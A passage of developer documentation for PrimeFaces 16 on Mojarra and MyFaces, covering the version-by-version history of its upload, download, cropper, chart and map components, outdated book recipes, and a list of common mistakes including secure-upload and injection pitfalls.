  • Lifecycle detail that matters for tests. When a test posts a command by hand, MyFaces expects the form’s hidden <formId>_SUBMIT field and Mojarra does not (see the file upload page). A browser sends it, and the scripted checks of this page used a browser wherever a button was clicked.

  • The library is the same. The PrimeFaces 16 jar is one artifact for both implementations; the component, renderer and widget code is identical, which is why the behaviour above matches. PrimeFaces' own CSP support (the primefaces.CSP parameter) also works on both, whereas Mojarra’s built-in nonce option has no MyFaces counterpart (see Content Security Policy).

What Changed

The migration guides that PrimeFaces keeps for each release give the history of the components of this page. Version numbers are those of the guide in which the change is listed:

PrimeFaces Change

7.0

RequestContext became PrimeFaces.current() (see the Ajax page of this section); the old Atmosphere-based push was removed in favour of f:websocket (see WebSocket Push).

8.0

DefaultStreamedContent constructors deprecated for the builder; ByteArrayContent and LazyDefaultStreamedContent removed. UploadedFile.getContents() became getContent(), getInputstream() became getInputStream(), fileUploadListener became listener, and UploadedFiles serves the simple mode with multiple. The image cropper moved from JCrop to Cropper.js.

10.0

Chart.js models arrive next to the jqPlot charts, which are deprecated. FileUpload#performVirusScan became virusScan and VirusScanner#performVirusScan(InputStream) became scan(UploadedFile). Ajax downloads no longer need ajax="false".

11.0

Chart.js 2.9.4 replaced by 3.5.0; the Flash fallbacks of p:media and p:photoCam removed.

12.0

Chart option renames (gridLines to grid, scaleLabel to title, …​). GMap marker icons became Object and models and events became generic.

13.0

DefaultStreamedContent accepts streams longer than Integer.MAX_VALUE (the length is a long). The jqPlot Chart component was deleted.

14.0

New p:chart taking raw JSON or an XDEV model; the per-type chart components deprecated. File upload: sizeLimit, fileLimit and allowTypes deprecated for p:validateFile, the message attributes deprecated for the PrimeFaces locale files, client-side validation reimplemented on CSV, Apache Commons FileUpload deprecated, UploadedFile.getWebkitRelativePath() added.

15.0

The legacy chart components and Java models deleted. Apache Commons FileUpload support deleted (native Servlet uploads only). sizeLimit, fileLimit, allowTypes and virusScan removed from p:fileUpload; dropZone needs mode="advanced"; dragDropSupport renamed dragDrop; validateContentType renamed contentType on p:validateFile.

16.0

Faces 4.0 is the baseline (JSF and Java EE javax.* support removed); the client-side widgets became JavaScript classes with TypeScript types (for example the PhotoCam callback type moved to PrimeType). The guide mentions none of the components of this page except that type.

Source: 7.0, 8.0, 10.0, 11.0, 12.0, 13.0, 14.0, 15.0 and 16.0 (PrimeFaces migration guides)

On the Faces side: h:inputFile appeared in JSF 2.2, and Faces 4.0 added its multiple and accept attributes and skipped empty files (see the file upload page); p:validateFile supports the standard component, so a library-free form can still use PrimeFaces' rules. Faces 4.0 and 4.1 differ in nothing that this page touches.

Where the Books Are Outdated

PrimeFaces Cookbook, Second Edition by Mert Çalışkan and Oleg Varaksin (Packt, May 2015) was written for PrimeFaces 5.1 and 5.2 on JSF 2.2. For the topics of this page the book’s chapters cover file upload and download, image cropping and photo capture, drag and drop, charts and maps. The ideas still hold (a widget that uploads in the background, a component that crops, a drop target), but most of the code needs to change:

  • Uploads. In PrimeFaces 5 the listener attribute was fileUploadListener (renamed listener in 8.0), the limits were attributes of p:fileUpload itself (sizeLimit, allowTypes, fileLimit; they became p:validateFile in 14.0.0 and were removed in 15.0.0), and the uploader could run on Apache Commons FileUpload (deprecated in 14.0.0 and deleted in 15.0.0, leaving the Servlet multipart API). The model methods were renamed (getContents to getContent, getInputstream to getInputStream). The checks that matter today (content-type detection, a limit on chunked uploads, virus scanning, safe file names) were not part of that era’s recipes.

  • Downloads and dynamic images. new DefaultStreamedContent(stream, type, name) and ByteArrayContent were replaced by DefaultStreamedContent.builder() in 8.0, and Ajax downloads work without ajax="false" since 10.0. Streaming rules (request scoped beans, f:param) are described in How the Ajax download and the images are fetched.

  • Image cropper and camera. The cropper’s JavaScript library changed (JCrop to Cropper.js in 8.0) and the Flash camera fallback was removed in 11.0.0; a camera now needs HTTPS.

  • Charts. The charts of that edition are the jqPlot-based ones. They were deprecated in 10.0 in favour of Chart.js models, the jqPlot component was deleted in 13.0.0 and the Chart.js component family of 10.0 to 14.0 in 15.0.0. The 16 component takes Chart.js JSON (Charts: p:chart).

  • Maps. The concepts (markers, polylines, info windows, geocoding) are the same in 16. What differs is how Google’s script is loaded (a key is required, and the 16 documentation describes an optional apiKey attribute that loads it for you), the generic model types (12.0.0), and Google’s own terms for the Maps API.

  • Drag and drop. p:draggable and p:droppable have the options described above; DragDropEvent is generic (DragDropEvent<T>) in 16.

Other books of the list touch this page less. JSF 2.0 Cookbook by Anghel Leonard (Packt, 2010) has upload and download recipes built on Tomahawk and RichFaces; the file upload page explains why they are obsolete. Learning PrimeFaces Extensions Development by Sudheer Jonna (Packt, 2014) covers image components of PrimeFaces Extensions, which belong to the PrimeFaces Extensions page of this section. The statements about the books rest on the section’s concept list for each book and on the PrimeFaces migration guides above, not on a page-by-page reading.

Common Mistakes

  • Trusting the file chooser. accept, allowTypes and the declared content type are all client data. allowTypes is satisfied by a matching declared type. Combine contentType="true", a real detector library and your own signature check.

  • contentType="true" without accept. The content check is skipped.

  • No detector library. The JDK default may decide from the extension and accept a text file named x.png.

  • Chunked uploads without sizeLimit. The container’s limit applies per chunk, not to the merged file.

  • UploadedFile.write(dir) or the submitted name as a path. PrimeFaces rejects ../ and /, but the client still picks the file name; generate it.

  • A view scoped bean behind p:fileUpload multiple, p:fileDownload or a streaming p:graphicImage. The requests are parallel or separate; use request scope.

  • An expression with arguments in streaming mode. #{bean.image(id)} fails; use a property and f:param, or stream="false".

  • A cropper image expression that only works in the render request. It is evaluated again in the postback.

  • image built from user input in p:imageCropper. The server fetches http URLs: SSRF.

  • Putting text from users into p:chart JSON without escaping <. Script injection; escape and use a CSP.

  • A shared map model. Marker drags change the model; keep it per view or per user.

  • Drag and drop as the only way. Provide a button for the same action.

  • Missing libraries on Tomcat. jakarta.xml.bind-api for p:photoCam, a detector for the content check.

  • Forgetting enctype="multipart/form-data" on a simple-mode form. The file never arrives.

  • Keys in web.xml in the repository (primefaces.virusscan.VIRUSTOTAL_KEY, a Maps key): read them from the environment or a secret store.